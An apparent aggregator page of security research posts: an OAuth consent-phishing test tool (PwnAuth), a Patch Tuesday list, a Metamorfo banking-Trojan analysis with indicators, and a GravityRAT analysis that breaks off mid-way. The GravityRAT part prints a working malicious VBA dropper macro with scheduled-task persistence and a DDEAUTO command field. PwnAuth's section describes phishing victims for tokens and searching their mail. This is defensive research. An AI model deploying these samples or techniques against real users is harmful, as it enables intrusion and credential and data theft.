The Authorization Server presents the interface that the Resource
Owner uses to give or deny consent. The server could be the same as
the API Resource or a different component. In this case, the Microsoft
login portal is the “Authorization Server”.

Scope

The Scope is defined as the type of access that the third-party
application is requesting. Most API Resources will define a set of
scopes that applications can request. This is similar to the
permissions that an Android phone application would request on
installation. In this example, the application may request access to
your OneDrive files and user profile.

OAuth 2.0 provides several different authorization “grant
types” to facilitate the different applications that we, as
users, interact with. For the purpose of this post, we are interested
in the “Authorization Code” grant type, which is used by web
applications implementing OAuth. The following is an example
authorization flow:

1.  A “Consent” link is created that directs the Resource
Owner to the Authorization Server with parameters identifying the
Application and the scopes requested.

https://login.microsoftonline.com/auth
?response_type=code
&client_id=123456789
&redirect_uri=https%3A%2F%2Fexample-app.com%2Fcallback
&scope=mail.read+offline_access

2.  The Resource Owner will be presented with an authorization
prompt, stating the application name and requested scopes. The
Resource Owner has the option to approve or deny this authorization request.

3.  Upon approval, the Authorization Server will redirect back to
the Application with an authorization code.

HTTP/1.1 200
OK
Content-Type: application/json
Cache-Control:
no-store
Pragma: no-cache

{
“access_token”:”aMQe28fhjad8fasdf”,
“token_type”:”bearer”,
“expires_in”:3600,
“refresh_token”:”OWWGE3YmIwOGYzYTlmM2YxNmMDFkNTVk”,
“scope”:”mail.read+offline_access”
}

4.  The Application can then use the authorization code and request
an access token from the Authorization Server. Access tokens can be
used for a set duration of time to access the user’s data from the API
Resource, without any further action by the Resource Owner.

Room For Abuse

OAuth applications provide an ideal vector through which attackers
could compromise a target and harvest confidential data such as email,
contacts, and files. An attacker could create a malicious application
and use the obtained access tokens to retrieve victims’ account data
via the API Resource. The access tokens do not require knowledge of
the user’s password, and bypass any two-factor enforcement. Further,
the only way to remove an attacker’s access is to explicitly revoke
access to the OAuth application. In order to obtain OAuth tokens, an
attacker would need to convince a victim to click a “Consent
link” and approve the application via social engineering. Because
all victim interaction is on sites owned by the legitimate Resource
Provider (e.g. Microsoft), it can be hard for an untrained user to
differentiate between a legitimate OAuth application and a malicious one.

Though likely not the first instance of such campaigns, OAuth abuse
first came to the media’s attention during the 2016 presidential
election. FireEye wrote about APT28’s usage of OAuth abuse to gain
access to emails of U.S. politicians in our M-TRENDS
2017 report
. Since then, FireEye has seen the technique
spread to commodity worms
seeking to spread across Gmail.

PwnAuth

PwnAuth is a web application framework I wrote to make it easier for
organizations to test their ability to detect and respond to OAuth
abuse campaigns. The web application provides penetration testers with
an easy-to-use UI to manage malicious OAuth applications, store
gathered OAuth tokens, and interact with API Resources. The
application UI and framework are designed to be easily extendable to
other API Resources through the creation of additional modules. While
any cloud environment that allows OAuth applications could be
targeted, currently PwnAuth ships with a module to support malicious
Office 365 applications that will capture OAuth tokens and facilitate
interaction with the Microsoft Graph API using those captured tokens.
The Office 365 module itself could be further extended, but currently
provides the following:

  • Reading mail
    messages
  • Searching the user’s mailbox
  • Reading the
    user’s contacts
  • Downloading messages and attachments
  • Searching OneDrive and downloading files
  • Sending
    messages on behalf of the user

The interface is designed to be intuitive and user-friendly. The
first step to using PwnAuth would be to create a Microsoft
Application. That information must then be entered into PwnAuth
(Figure 1).


Figure 1: Importing a Microsoft App into PwnAuth

Once configured, you can use the generated “Authorization
URL” to phish potential victims. When clicked, PwnAuth will
capture victim OAuth tokens for later use. An example victim listing
is shown in Figure 2.


Figure 2: Listing victim users in PwnAuth

Once PwnAuth has captured a victim’s OAuth token, you can begin to
access their data. Use PwnAuth to query the victim’s mailbox for all
messages containing the string “password”, for example
(Figure 3).


Figure 3: Searching the mailbox of a victim

See the GitHub
wiki
for more information on usage.

Mitigations

Our FireEye technology stack includes network-based signatures to
detect potentially malicious OAuth consent URLs. Attackers tend to
include certain scopes in malicious apps that can be detected and
flagged. Organizations with social engineering training programs can
add OAuth abuse scenarios to their existing programs to better educate
users about this attacker vector. Additionally, organizations can take
steps to limit the potential impact of malicious OAuth applications
and increase their detection capabilities. The options available to an
organization vary greatly depending on the API Resource, but, in
general, include:

  • Limit the API scopes
    third-party apps can request.
  • Disable third-party apps in
    an organization.
  • Implement a whitelist or blacklist for
    applications.
  • Query an organization’s user base for all
    consented applications.
  • Log any user consent events and
    report suspicious activity.

Office 365 in particular offers some options for administrators:

I have created a collection of scripts to assist administrators in
hunting for
malicious OAuth applications
in cloud environments. Currently
there is a script to investigate Office 365 tenants with plans to add
other cloud environments.

Conclusion

OAuth abuse attacks are a dangerous and non-traditional phishing
technique that attackers can use to gain access to an organization’s
confidential data. As we move more services to the cloud,
organizations should be careful to lock down third-party application
access and ensure that their monitoring and detection strategy covers
application consent grants. Organizations and security professionals
can use PwnAuth to
test their ability to detect and respond to this new type of attack.

Head over to our GitHub and start using PwnAuth today.

Go to Source
Author: Douglas Bienstock

Microsoft Patch Tuesday – May 2018

Today, Microsoft has released its monthly set of security advisories for vulnerabilities that have been identified and addressed in various products. This month’s advisory release addresses 67 new vulnerabilities, with 21 of them rated critical, 42 of them rated important, and four rated as low severity. These vulnerabilities impact Outlook, Office, Exchange, Edge, Internet Explorer and more.
In addition to the 67 vulnerabilities referenced above, Microsoft has also released a critical update advisory, ADV180008, which addresses the vulnerability CVE-2018-4944 described in the Adobe security bulletin APSB18-16.

Critical Vulnerabilities

This month, Microsoft is addressing 21 vulnerabilities that are rated as critical. Talos believes one of these is notable and requires prompt attention.
CVE-2018-8174 – Windows VBScript Engine Remote Code Execution Vulnerability.
A remote code execution vulnerability exists in the VBScript scripting engine (vbscript.dll) of Windows. This vulnerability allows an attacker to include malicious VBScript within a website or embedded within an Office file, which when executed allows an attacker to execute arbitrary code in the context of the current user. Threat actors are currently exploiting this vulnerability.
Other vulnerabilities rated as critical are listed below:
CVE-2018-0959 – Hyper-V Remote Code Execution Vulnerability
CVE-2018-0961 – Hyper-V vSMB Remote Code Execution Vulnerability
CVE-2018-8115 – Windows Host Compute Service Shim Remote Code Execution Vulnerability
CVE-2018-8178 – Microsoft Browser Memory Corruption Vulnerability
CVE-2018-0946 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-0951 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-0953 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-0954 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-0955 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-8114 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-8122 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-8137 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-0945 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-1022 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-8139 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-8128 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-8133 – Chakra Scripting Engine Memory Corruption Vulnerability
CVE-2018-0943 – Chakra Scripting Engine Memory Corruption Vulnerability
CVE-2018-8130 – Chakra Scripting Engine Memory Corruption Vulnerability
CVE-2018-8177 – Chakra Scripting Engine Memory Corruption Vulnerability

Important Vulnerabilities

This month, Microsoft is addressing 42 vulnerabilities that are rated important.
CVE-2018-8120 – Win32k Elevation of Privilege Vulnerability
CVE-2018-8123 – Microsoft Edge Memory Corruption Vulnerability
CVE-2018-8124 – Win32k Elevation of Privilege Vulnerability
CVE-2018-8147 – Microsoft Excel Remote Code Execution Vulnerability
CVE-2018-8148 – Microsoft Excel Remote Code Execution Vulnerability
CVE-2018-8157 – Microsoft Office Remote Code Execution Vulnerability
CVE-2018-8158 – Microsoft Office Remote Code Execution Vulnerability
CVE-2018-8161 – Microsoft Office Remote Code Execution Vulnerability
CVE-2018-8162 – Microsoft Excel Remote Code Execution Vulnerability
CVE-2018-8164 – Win32k Elevation of Privilege Vulnerability
CVE-2018-8165 – DirectX Graphics Kernel Elevation of Privilege Vulnerability
CVE-2018-8166 – Win32k Elevation of Privilege Vulnerability
CVE-2018-8167 – Windows Common Log File System Driver Elevation of Privilege Vulnerability
CVE-2018-8179 – Microsoft Edge Memory Corruption Vulnerability
CVE-2018-0765 – .NET and .NET Core Denial of Service Vulnerability
CVE-2018-0824 – Microsoft COM for Windows Remote Code Execution Vulnerability
CVE-2018-0854 – Windows Security Feature Bypass Vulnerability
CVE-2018-0958 – Windows Security Feature Bypass Vulnerability
CVE-2018-1021 – Microsoft Edge Information Disclosure Vulnerability
CVE-2018-1025 – Microsoft Browser Information Disclosure Vulnerability
CVE-2018-1039 – .NET Framework Device Guard Security Feature Bypass Vulnerability
CVE-2018-8112 – Microsoft Edge Security Feature Bypass Vulnerability
CVE-2018-8119 – Azure IoT SDK Spoofing Vulnerability
CVE-2018-8126 – Internet Explorer Security Feature Bypass Vulnerability
CVE-2018-8127 – Windows Kernel Information Disclosure Vulnerability
CVE-2018-8129 – Windows Security Feature Bypass Vulnerability
CVE-2018-8132 – Windows Security Feature Bypass Vulnerability
CVE-2018-8134 – Windows Elevation of Privilege Vulnerability
CVE-2018-8141 – Windows Kernel Information Disclosure Vulnerability
CVE-2018-8145 – Chakra Scripting Engine Memory Corruption Vulnerability
CVE-2018-8149 – Microsoft SharePoint Elevation of Privilege Vulnerability
CVE-2018-8150 – Microsoft Outlook Security Feature Bypass Vulnerability
CVE-2018-8151 – Microsoft Exchange Memory Corruption Vulnerability
CVE-2018-8152 – Microsoft Exchange Server Elevation of Privilege Vulnerability
CVE-2018-8155 – Microsoft SharePoint Elevation of Privilege Vulnerability
CVE-2018-8156 – Microsoft SharePoint Elevation of Privilege Vulnerability
CVE-2018-8159 – Microsoft Exchange Elevation of Privilege Vulnerability
CVE-2018-8160 – Microsoft Outlook Information Disclosure Vulnerability
CVE-2018-8163 – Microsoft Excel Information Disclosure Vulnerability
CVE-2018-8170 – Windows Image Elevation of Privilege Vulnerability
CVE-2018-8173 – Microsoft InfoPath Remote Code Execution Vulnerability
CVE-2018-8897 – Windows Kernel Elevation of Privilege Vulnerability

Go to Source
Author: Talos Group

Metamorfo Campaigns Targeting Brazilian Users

FireEye Labs recently identified several widespread malspam (malware
spam) campaigns targeting Brazilian companies with the goal of
delivering banking Trojans. We are referring to these campaigns as
Metamorfo. Across the stages of these campaigns, we have observed the
use of several tactics and techniques to evade detection and deliver
the malicious payload. In this blog post we dissect two of the main
campaigns and explain how they work.

Campaign #1

The kill chain starts with an email containing an HTML attachment
with a refresh tag that uses a Google URL shortener as the
target. Figure 1 shows a sample email, and Figure 2 show the contents
of the HTML file.


Figure 1: Malicious Email with HTML Attachment


Figure 2: Contents of HTML File

When the URL is loaded, it redirects the victim to a cloud storage
site such as GitHub, Dropbox, or Google Drive to download a ZIP
file. An example is shown in Figure 3.


Figure 3: URL Shortener Redirects to
Github Link

The ZIP archive contains a malicious portable executable (PE) file
with embedded HTML application (HTA). The user has to unzip the
archive and double-click the executable for the infection chain to
continue. The PE file is a simple HTA script compiled into an
executable. When the user double-clicks the executable, the malicious
HTA file is extracted to %temp% and executed by mshta.exe.

The HTA script (Figure 4) contains VBS code that fetches a second
blob of VBS code encoded in base64 form from hxxp:///ilha/pz/logs.php.


Figure 4: Contents of HTA File

After the second stage of VBS is decoded (Figure 5 and Figure 6),
the script downloads the final stage from hxxp:///28022018/pz.zip.


Figure 5: Contents of Decoded VBS


Figure 6: More Contents of Decoded VBS

The downloaded ZIP file contains four files. Two are PE files. One
is a legitimate Windows tool, pvk2pfx.exe, that is abused
for DLL side-loading. One is the malicious banking Trojan as the DLL.

The VBS code unzips the archive, changes the extension of the
legitimate Windows tool from .png to .exe, and renames the malicious
DLL as cryptui.dll. The VBS code also creates a file in
C:UsersPublicAdministradorcar.dat with random strings. These
random strings are used to name the Windows tool, which is then
executed. Since this tool depends on a legitimate DLL named
cryptui.dll, the search order path will find the malicious Trojan with
the same name in the same directory and load it into its process space.

In Q4 of 2017, a similar malspam campaign delivered the same banking
Trojan by using an embedded JAR file attached in the email instead of
an HTML attachment. On execution, the Java code downloaded a ZIP
archive from a cloud file hosting site such as Google Drive, Dropbox,
or Github. The ZIP archive contained a legitimate Microsoft tool and
the malicious Trojan.

Banking Trojan Analysis

The Trojan expects to be located in the hardcoded directory
C:\Users\PublicAdministrador\ along with three other files to
start execution. As seen in Figure 7, these files are:

  • car.dat (randomly
    generated name given to Windows tool)
  • i4.dt (VBS script
    that downloads the same zip file)
  • id (ID given to
    host)
  • cryptui.dll (malicious Trojan)


Figure 7: Contents of ZIP Archive

Persistence

The string found in the file
C:\Users\Public\Administrador\car.dat is extracted and used to add
the registry key
SoftwareMicrosoftWindowsCurrentVersionRun for persistence, as shown in Figure 8.


Figure 8: Reading from car.dat File

The sample also looks for a file named i4.dt in the same directory
and extracts the contents of it, renames the file to icone.vbs, and
creates a new persistent key (Figure 9) in
SoftwareMicrosoftWindowsCurrentVersionRun to open this file.


Figure 9: Persistence Keys

The VBS code in this file (Figure 10) has the ability to recreate
the whole chain and download the same ZIP archive.


Figure 10: Contents of VBS Script

Next, the Trojan searches for several folders in the Program Files
directories, including:

  • C:\Program
    Files\AVG
  • C:\Program Files\AVAST Software
  • C:\Program Files\Diebold\Warsaw
  • C:\Program
    Files\Trusteer\Rapport
  • C:\Program Files\Java
  • C:\Program Files (x86)\scpbrad

If any of the folders are found, this information, along with the
hostname and Operating System version, is sent to a hardcoded domain
with the hardcoded User-Agent value “Mozilla/5.0 (Windows NT 6.1;
WOW64; rv:12.0) Gecko/20100101 Firefox/12.0” in the format shown in
Figure 11. The value of AT is “<host_name+OS&MD>=”.


Figure 11: Network Traffic for Host Enumeration

The sample iterates through the running processes, kills the
following, and prevents them from launching:

  • msconfig.exe
  • TASKMGR.exe
  • regedit.exe
  • ccleaner64.exe
  • taskmgr.exe
  • itauaplicativo.exe

Next, it uses GetForegroundWindow to get a handle to the window the
user is viewing and GetWindowText to extract the title of the window.
The title is compared against a hardcoded list of Brazilian banking
and digital coin sites. The list is extensive and includes major
organizations and smaller entities alike.

If any of those names are found and the browser is one of the
following, the Trojan will terminate that browser.

  • firefox.exe
  • chrome.exe
  • opera.exe
  • safari.exe

The folder C:UsersPublicAdministradorlogs is created to store
screenshots, as well as the number of mouse clicks the user has
triggered while browsing the banking sites (Figure 12). The
screenshots are continuously saved as .jpg images.


Figure 12: Malware Capturing Mouse Clicks

Command and Control

The command and control (C2) server is selected based on the string
in the file “id”:

  • al ->
    ‘185.43.209[.]182’
  • gr -> ‘212.237.46[.]6’
  • pz
    -> ‘87.98.146[.]34’
  • mn -> ’80.211.140[.]235′

The connection to one of the hosts is then started over raw TCP on
port 9999. The command and control communication generally follows the
pattern <|Command |>, for example:

  • ‘<|dispida|>logs>SAVE<‘ sends the screenshots
    collected in gh.txt.
  • ” is sent from C2 to
    host, and ” is sent from host to C2, to keep the
    connection alive.
  • ‘<|INFO|>’ retrieves when the
    infection first started based on the file timestamp from car.dat
    along with ‘<|>’ and the host information.

There were only four possible IP addresses that the sample analyzed
could connect to based on the strings found in the file “id”. After
further researching the associated infrastructure of the C2 (Figure
13), we were able to find potential number of victims for this
particular campaign.

Figure 13: Command and Control Server Open Directories

Inside the open directories, we were able to get the following
directories corresponding to the different active campaigns. Inside
each directory we could find statistics with the number of victims
reporting to the C2. As of 3/27/2018, the numbers were:

  • al – 843
  • ap –
    879
  • gr – 397
  • kk – 2,153
  • mn – 296
  • pz – 536
  • tm – 187

A diagram summarizing Campaign #1 is shown in Figure 14.


Figure 14: Infection Chain of Campaign #1

Campaign #2

In the second campaign, FireEye Labs observed emails with links to
legitimate domains (such as
hxxps://s3-ap-northeast-1.amazonaws[.]com//Boleto_Protesto_Mes_Marco_2018.html)
or compromised domains (such
as hxxps://curetusu.-industria[.]site/) that use a
refresh tag with a URL shortener as the target.
The URL shortener redirects the user to an online storage site, such
as Google Drive, Github, or Dropbox, that hosts a malicious ZIP
file. A sample phishing email is shown in Figure 15.


Figure 15: Example Phishing Email

The ZIP file contains a malicious executable written in AutoIt
(contents of this executable are shown in Figur 16). When executed by
the user, it drops a VBS file to a randomly created and named
directory (such as C:mYPdrTkCJLQPXHwoCmYPdr.vbs) and fetches
contents from the C2 server.


Figure 16: Contents of Malicious AutoIt Executable

Two files are downloaded from the C2 server. One is a legitimate
Microsoft tool and the other is a malicious DLL:

  • https[:]//panel-dark[.]com/w3af/img2.jpg
  • https[:]//panel-dark[.]com/w3af/img1.jpg

Those files are downloaded and saved into random directories named
with the following patterns:

  • <5 random chars><8 random chars><4 random chars><5 random chars>.exe
  • <5 random chars><8 random chars><4 random chars>CRYPTUI.dll

The execution chain ensures that persistence is set on the affected
system using a .lnk file in the Startup directory. The .lnk file shown
in Figure 17 opens the malicious VBS dropped on the system.


Figure 17: Persistence Key

The VBS file (Figure 18) will launch and execute the downloaded
legitimate Windows tool, which in this case is Certmgr.exe. This tool
will be abused using the DLL side loading technique. The malicious
Cryptui.dll is loaded into the program instead of the legitimate one
and executed.


Figure 18: Contents of Dropped VBS File

Banking Trojan Analysis

Like the Trojan from the first campaign, this sample is executed
through search-order hijacking. In this case, the binary abused is a
legitimate Windows tool, Certmgr.exe, that loads Cryptui.dll. Since
this tool depends on a legitimate DLL named cryptui.dll, the search
order path will find the malicious Trojan with the same name in the
same directory and load it into its process space.

The malicious DLL exports 21 functions. Only DllEntryPoint contains
real code that is necessary to start the execution of the malicious
code. The other functions return hardcoded values that serve no real purpose.

On execution, the Trojan creates a mutex called
“correria24” to allow only one instance of it to run at a time.

The malware attempts to resolve “www.goole[.]com” (most likely a
misspelling). If successful, it sends a request to
hxxp://api-api[.]com/json in order to detect the external IP of the
victim. The result is parsed and execution continues only if the
country code matches “BR”, as shown in Figure 19.


Figure 19: Country Code Check

The malware creates an empty file in %appdata%Mariapeirura on first
execution, which serves as a mutex lock, before attempting to send any
collected information to the C2 server. This is done in order to get
only one report per infected host.

The malware collects host information, base64 encodes it, and sends
it to two C2 servers. The following items are gathered from the
infected system:

  • OS name
  • OS
    version
  • OS architecture
  • AV installed
  • List
    of banking software installed
  • IP address
  • Directory
    where malware is being executed from

The information is sent to hxxp://108.61.188.171/put.php (Figure 20).


Figure 20: Host Recon Data Sent to First
C2 Server

The same information is sent to panel-dark[.]com/Contador/put.php
(Figure 21).


Figure 21: Host Recon Data Sent to Second
C2 Server

The malware alters the value of registry key
SoftwareMicrosoftWindowsCurrentVersionExplorerAdvancedExtendedUIHoverTime
to 2710 in order to change the number of milliseconds a thumbnail is
showed while hovering on the taskbar, as seen in Figure 22.


Figure 22: ExtendedUIHoverTime Registry
Key Change

Like the Trojan from the first campaign, this sample checks if the
foreground window’s title contains names of Brazilian banks and
digital coins by looking for hardcoded strings.

The malware displays fake forms on top of the banking sites and
intercepts credentials from the victims. It can also display a fake
Windows Update whenever there is nefarious activity in the background,
as seen in Figure 23.


Figure 23: Fake Form Displaying Windows Update

The sample also contains a keylogger functionality, as shown in
Figure 24.


Figure 24: Keylogger Function

Command and Control

The Trojan’s command and control command structure is identical to
the first sample. The commands are denoted by the <|Command|> syntax.

  • <|OK|> gets a list
    of banking software installed on the host.

  • is sent from C2 to host, and ” is sent from host to C2,
    to keep connection alive.
  • <|dellLemb|> deletes the
    registry key SoftwareMicrosoftInternet Explorernotes.
  • EXECPROGAM calls ShellExecute to run the application given in
    the command.
  • EXITEWINDOWS calls ExitWindowsEx.
  • NOVOLEMBRETE creates and stores data sent with the command in
    the registry key SoftwareMicrosoftInternet Explorernotes.


Figure 25: Partial List of Victims

This sample contains most of the important strings encrypted. We
provide the following script (Figure 26) in order to decrypt them.


Figure 26: String Decryption Script

Conclusion

The use of multi-stage infection chains makes it challenging to
research these types of campaigns all the way through.

As demonstrated by our research, the attackers are using various
techniques to evade detection and infect unsuspecting
Portuguese-speaking users with banking Trojans. The use of public
cloud infrastructure to help deliver the different stages plays a
particularly big role in delivering the malicious payload. The use of
different infection methods combined with the abuse of legitimate
signed binaries to load malicious code makes these campaigns worth highlighting.

Indicators of Compromise

Campaign #1
TYPE HASH DESCRIPTION
MD5 860fa744d8c82859b41e00761c6e25f3 PE with Embedded HTA
MD5 3e9622d1a6d7b924cefe7d3458070d98 PE with Embedded HTA
MD5 f402a482fd96b0a583be2a265acd5e74 PE with Embedded HTA
MD5 f329107f795654bfc62374f8930d1e12 PE with Embedded HTA
MD5 789a021c051651dbc9e01c5d8c0ce129 PE with Embedded HTA
MD5 68f818fa156d45889f36aeca5dc75a81 PE with Embedded HTA
MD5 c2cc04be25f227b13bcb0b1d9811e2fe cryptui.dll
MD5 6d2cb9e726c9fac0fb36afc377be3aec id
MD5 dd73f749d40146b6c0d2759ba78b1764 i4.dt
MD5 d9d1e72165601012b9d959bd250997b3 VBS file with commands to create staging directories for
malware
MD5 03e4f8327fbb6844e78fda7cdae2e8ad pvk2pfx.exe [Legit Windows Tool]
URL hxxp://5.83.162.24/ilha/pz/logs.php
URL hxxp://5.83.162.24/28022018/pz.zip 
C2 ibamanetibamagovbr[.]org/virada/pz/logs.php
URL sistemasagriculturagov[.]org
URL hxxp://187.84.229.107/05022018/al.zip
Campaign #2
TYPE HASH DESCRIPTION
MD5 2999724b1aa19b8238d4217565e31c8e AutoIT Dropper
MD5 181c8f19f974ad8a84b8673d487bbf0d img1.jpg [lLegit Windows Tool]
MD5 d3f845c84a2bd8e3589a6fbf395fea06 img2.jpg [Banking Trojan]
MD5 2365fb50eeb6c4476218507008d9a00b Variants of Banking Trojan
MD5 d726b53461a4ec858925ed31cef15f1e Variants of Banking Trojan
MD5 a8b2b6e63daf4ca3e065d1751cac723b Variants of Banking Trojan
MD5 d9682356e78c3ebca4d001de760848b0 Variants of Banking Trojan
MD5 330721de2a76eed2b461f24bab7b7160 Variants of Banking Trojan
MD5 6734245beda04dcf5af3793c5d547923 Variants of Banking Trojan
MD5 a920b668079b2c1b502fdaee2dd2358f Variants of Banking Trojan
MD5 fe09217cc4119dedbe85d22ad23955a1 Variants of Banking Trojan
MD5 82e2c6b0b116855816497667553bdf11 Variants of Banking Trojan
MD5 4610cdd9d737ecfa1067ac30022d793b Variants of Banking Trojan
MD5 34a8dda75aea25d92cd66da53a718589 Variants of Banking Trojan
MD5 88b808d8164e709df2ca99f73ead2e16 Variants of Banking Trojan
MD5 d3f845c84a2bd8e3589a6fbf395fea06 Variants of Banking Trojan
MD5 28a0968163b6e6857471305aee5c17e9 Variants of Banking Trojan
MD5 1285205ae5dd5fa5544b3855b11b989d Variants of Banking Trojan
MD5 613563d7863b4f9f66590064b88164c8 Variants of Banking Trojan
MD5 3dd43e69f8d71fcc2704eb73c1ea7daf Variants of Banking Trojan
C2 https[:]//panel-dark[.]com/w3af/img2.jpg
C2 https[:]//panel-dark[.]com/w3af/img1.jpg

Go to Source
Author: Edson Sierra

GravityRAT – The Two-Year Evolution Of An APT Targeting India

SUMMARY

Today, Cisco Talos is uncovering a new piece of malware, which has remained under the radar for the past two years while it continues to be developed. Several weeks ago, we identified the use of the latest version of this RAT (Remote Access Tool). In this article, we will discuss the technical capabilities, the evolution, development and potential attribution of what we are calling GravityRAT.

GravityRAT has been under ongoing development for at least 18 months, during which the developer has implemented new features. We’ve seen file exfiltration, remote command execution capability and anti-vm techniques added throughout the life of GravityRAT. This consistent evolution beyond standard remote code execution is concerning because it shows determination and innovation by the actor.

Throughout our investigation, we observed several malicious documents used to attack victims, which we will discuss. These malicious documents were used by the developer to run several tests on the popular analysis platform VirusTotal. Using VirusTotal allowed the developer to make changes in an attempt to decrease antivirus detection.

Although GravityRAT has not been previously published or discussed, there was some information from the National Computer Emergency Response Team (CERT) of India describing GravityRAT as being used in targeted attacks against India. Finally, we will discuss specific attribution elements discovered during our research into GravityRAT as we identify specific information, which we believe to be leaked by the developer, such as location, and potentially their first name.

INFECTION VECTORS

 

Malicious Office Documents

The majority of the malicious documents crafted by the malware author are Microsoft Office Word documents. The attacker uses an embedded macro in order to execute malicious code on the victim’s system. The document opens and appears as such:

The document asks to the user to enable macros in order to prove that the user is not a robot (similar to the CAPTCHA we often see on the internet). This, however, is a known tactic that a lot of Office-based malware uses. It is an attempt to trick any users who are using Protected Mode on their systems. By enabling macros, the malware is able to begin it’s execution. We discovered that the embedded macro is quite small when extracted.

Sub AutoOpen()
  If Not Dir(Environ("TEMP") + "\image4.exe") <> "" Then
    Const lCancelled_c As Long = 0
      Dim sSaveAsPath As String
      sSaveAsPath = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%Temp%") + "\temporary.zip"
      If VBA.LenB(sSaveAsPath) = lCancelled_c Then Exit Sub
      ActiveDocument.Save
      Application.Documents.Add ActiveDocument.FullName
      ActiveDocument.SaveAs sSaveAsPath
      ActiveDocument.Close
      Set app = CreateObject("Shell.Application")
      ExtractTo = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%Temp%")
      ExtractByExtension app.NameSpace(Environ("TEMP") + "\temporary.zip"), "exe", ExtractTo
  End If
End Sub

Sub ExtractByExtension(fldr, ext, dst)
  Set FSO = CreateObject("Scripting.FileSystemObject")
  Set app = CreateObject("Shell.Application")
  For Each f In fldr.Items
    If f.Type = "File folder" Then
      ExtractByExtension f.GetFolder, ext, dst
    ElseIf LCase(FSO.GetExtensionName(f.Name)) = LCase(ext) Then
      If Not Dir(Environ("TEMP") + "\image4.exe") <> "" Then
        app.NameSpace(dst).CopyHere f.Path, &H4
      End If
    End If
  Next
  Shell "schtasks /create /tn wordtest /tr ""'%temp%\image4.exe' 35"" /sc DAILY /f /RI 10 /du 24:00 /st 00:01"
End Sub

This macro contains three functions:

  • The first one is executed when the document is opened. The purpose is to copy the active document (the opened Word document) in a temporary directory and to rename it as a ZIP archive. Indeed, the docx format is, in fact, a common ZIP archive, and can be unzipped using common tools.
  • The second function decompresses this ‘temporary.zip’ file and extracts the .exe file stored in it.
  • The third creates a scheduled task, named ‘wordtest’, to execute this malicious file every day.

With this approach, the attacker ensures that there is no direct execution (the executable is executed thanks to scheduled tasks), there’s no download of an additional payload, and finally, the author uses the fact that the docx format is an archive in order to include its executable (GravityRAT).

Testing By The Author

During our tracking, we identified several malicious documents submitted from this actor on VirusTotal for testing purposes. They tested the detection on macros (by modifying them, or by executing the calc instead of the malicious payload) and the developers tried dynamic data exchange (DDE) execution in the Office document. This is abusing the DDE protocol which exists within Microsoft Office documents. Whilst this is a feature Microsoft provide it is also a feature that an attacker can leverage for malicious activity, Microsoft published mitigation information here previously. The developer crafted Office Word and Excel documents to see the detection in VirusTotal. The authors tried to hide the DDE object in a different part of the document — in the main object and the header, for example. The DDE object simply executes Microsoft calc in the detected sample. Here is an example:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<w:document [...redated...}] mc:Ignorable="w14 w15 wp14"><w:body><w:p w:rsidR="00215C91" w:rsidRDefault="008C166A"><w:r><w:fldChar w:fldCharType="begin"/></w:r><w:r><w:instrText xml:space="preserve"> </w:instrText></w:r><w:r><w:rPr><w:rFonts w:ascii="Helvetica" w:hAnsi="Helvetica" w:cs="Helvetica"/><w:color w:val="383838"/><w:spacing w:val="3"/><w:sz w:val="26"/><w:szCs w:val="26"/><w:shd w:val="clear" w:color="auto" w:fill="FFFFFF"/></w:rPr><w:instrText>DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"</w:instrText></w:r><w:r><w:instrText xml:space="preserve"> </w:instrText></w:r><w:r><w:fldChar w:fldCharType="end"/></w:r><w:bookmarkStart w:id="0" w:name="_GoBack"/><w:bookmarkEnd w:id="0"/></w:p><w:sectPr w:rsidR="00215C91"><w:pgSz w:w="12240" w:h="15840"/><w:pgMar w:top="1440" w:right="1440" w:bottom="1440" w:left="1440" w:header="720" w:footer="720" w:gutter="0"/><w:cols w:space="720"/><w:docGrid w:linePitch="360"/></w:sectPr></w:body></w:document>

We believe the filenames of the submitted samples are clearly testing docs, using different methods and Office tricks to attempt to ensure his malware was undetected. Those names were:

  • testnew1.docx
  • Test123.docx
  • test456.docx
  • test2.docx
  • book1test2.xlsx
  • Test123.doc

GRAVITYRAT

Our initial discovery of GravityRAT was through a malicious Word document. As explained previously, this Word document had various macros to deliver a final payload.Considering that this was the most recent version of the malware, we decided to ascertain how long this actor had been active, and how their attacks had evolved. We were able to discover four distinct versions of GravityRAT, developed over two years. Next, we will go through what we believe is the development life cycle and feature-addition mission carried out by this developer.

Version G1

The malware author uses a versioning system starting by the G letter. The oldest version we identified is G1. Here is the PDB path of the sample:

f:\F\Windows Work\G1\Adeel's Laptop\G1 Main Virus\systemInterrupts\gravity\obj\x86\Debug\systemInterrupts.pdb

You can notice the potential first name of the developers: Adeel. Of course, this information can be manipulated by the malware author. This sample was compiled in December 2016. The original filename of the sample was resume.exe.

The purpose of this version was to steal information on the compromised system:

  • MAC Address
  • Computer name
  • Username
  • IP address
  • Date
  • Steal files with the following extensions: .docx, .doc, .pptx, .ppt, .xlsx, .xls, .rtf and .pdf
  • The volumes mapped on the system

All this information was then sent to one of the following domains:

G1 also had the ability to execute commands remotely on the infected host machine at the author’s will.

Version G2

We identified a new variant used in July 2017 named G2. Here is the PDB of the sample:

e:\Windows Work\G2\G2 Main Virus\Microsoft Virus Solutions (G2 v5) (Current)\Microsoft Virus Solutions\obj\Debug\Windows Wireless 802.11.pdb

For this version, the developer modified the architecture of the malware. The main code aims to load and execute two additional .NET binaries stored in the resources of the file:

  • The first resource is a legitimate open-source library available on GitHub. It’s a .NET wrapper for the Windows Task Scheduler
  • The second is the G2 version of GravityRAT

This variant shares the same command and control (C2) servers as G1, however, we have an additional ‘payload’ variable added to G2.

This variant has almost identical capabilities as the previous, except one additional functionality: It collects the CPU information in the Win32_Processor entry via WMI request (Processor ID, Name, Manufacturer and the clock speed). The attacker is most likely using this information as part of an anti-vm attempt within this malware. This is used to try and thwart analysis in virtual environments.

In a slight change to the previous variant, the new payloads are executed with a Windows Scheduled Task. This would explain the inclusion of the .NET wrapper.

